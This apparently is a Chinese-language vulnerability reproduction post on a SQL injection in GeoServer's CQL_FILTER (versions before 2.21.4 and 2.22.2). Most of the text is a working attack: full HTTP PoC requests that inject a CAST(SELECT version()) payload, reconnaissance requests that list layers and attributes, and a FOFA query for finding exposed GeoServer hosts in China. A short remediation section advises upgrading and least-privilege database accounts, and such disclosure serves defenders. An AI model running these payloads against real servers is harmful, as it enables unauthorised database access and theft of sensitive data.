0x01 产品简介
GeoServer是一款开源的地理数据服务器软件,主要用于发布、共享和处理各种地理空间数据。它支持众多的地图和空间数据标准,能够使各种设备通过网络来浏览和使用这些地理信息数据。
0x02 漏洞概述
GeoServer在预览图层的时候,可以对图层进行数据过滤从而渲染出指定位置的图层。由于未对用户输入进行过滤,在使用需要以数据库作为数据存储的功能时,攻击者可以构造畸形的过滤语法,绕过GeoServer的词法解析从而造成SQL注入,获取服务器中的敏感信息,甚至可能获取数据库服务器权限。
0x03 影响范围
GeoServer < 2.21.4
2.22.0 <= GeoServer < 2.22.2
使用外置数据库创建自定义图层
0x04 复现环境
FOFA语法
app="GeoServer" && country="CN"
0x05 漏洞复现
PoC:
GET /geoserver/ows?service=wfs&version=1.0.0&request=GetFeature&typeName=[查询到的图层名称]&CQL_FILTER=strStartsWith([该图层中的属性名称],'x'')+%3d+true+and+1%3d(SELECT+CAST+((SELECT+version())+AS+INTEGER))+--+')+%3d+true HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://your-ip/geoserver/index.html
Connection: close
Cookie: JSESSIONID=1kfz9gw2euktiwv7gc982xdsr
Upgrade-Insecure-Requests: 1
PS:特殊符号需要使用url编码
获取GeoServer 中 WFS 服务的图层信息(包括支持的 WFS 版本、支持的数据格式、支持的查询方式、支持的空间参考系统等)
GET /geoserver/ows?service=WFS&version=1.0.0&request=GetCapabilities HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://your-ip/geoserver/index.html
Connection: close
Cookie: JSESSIONID=1kfz9gw2euktiwv7gc982xdsr
Upgrade-Insecure-Requests: 1
获取到了地理图层列表信息
获取某个图层的属性名称
GET /geoserver/wfs?request=DescribeFeatureType&version=2.0.0&service=WFS&outputFormat=application/json&typeName=图层名称 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://your-ip/geoserver/index.html
Connection: close
Cookie: JSESSIONID=1kfz9gw2euktiwv7gc982xdsr
Upgrade-Insecure-Requests: 1
最后构造payload查询数据库版本信息
复现成功
0x06 修复建议
由于该漏洞涉及到多个功能,不同的功能涉及到的数据库操作并不一致,有一些漏洞触发点的缓解措施需要禁用数据库数据存储。因此在未确认不影响业务的前提下,禁用数据库并不是完全可行的方案。
同时作为限制攻击面的好习惯,对于用于连接池的数据库账户,赋予其最小必要的权限级别是非常重要的。
官方已发布新版本修复了该漏洞,可下载最新版本进行升级。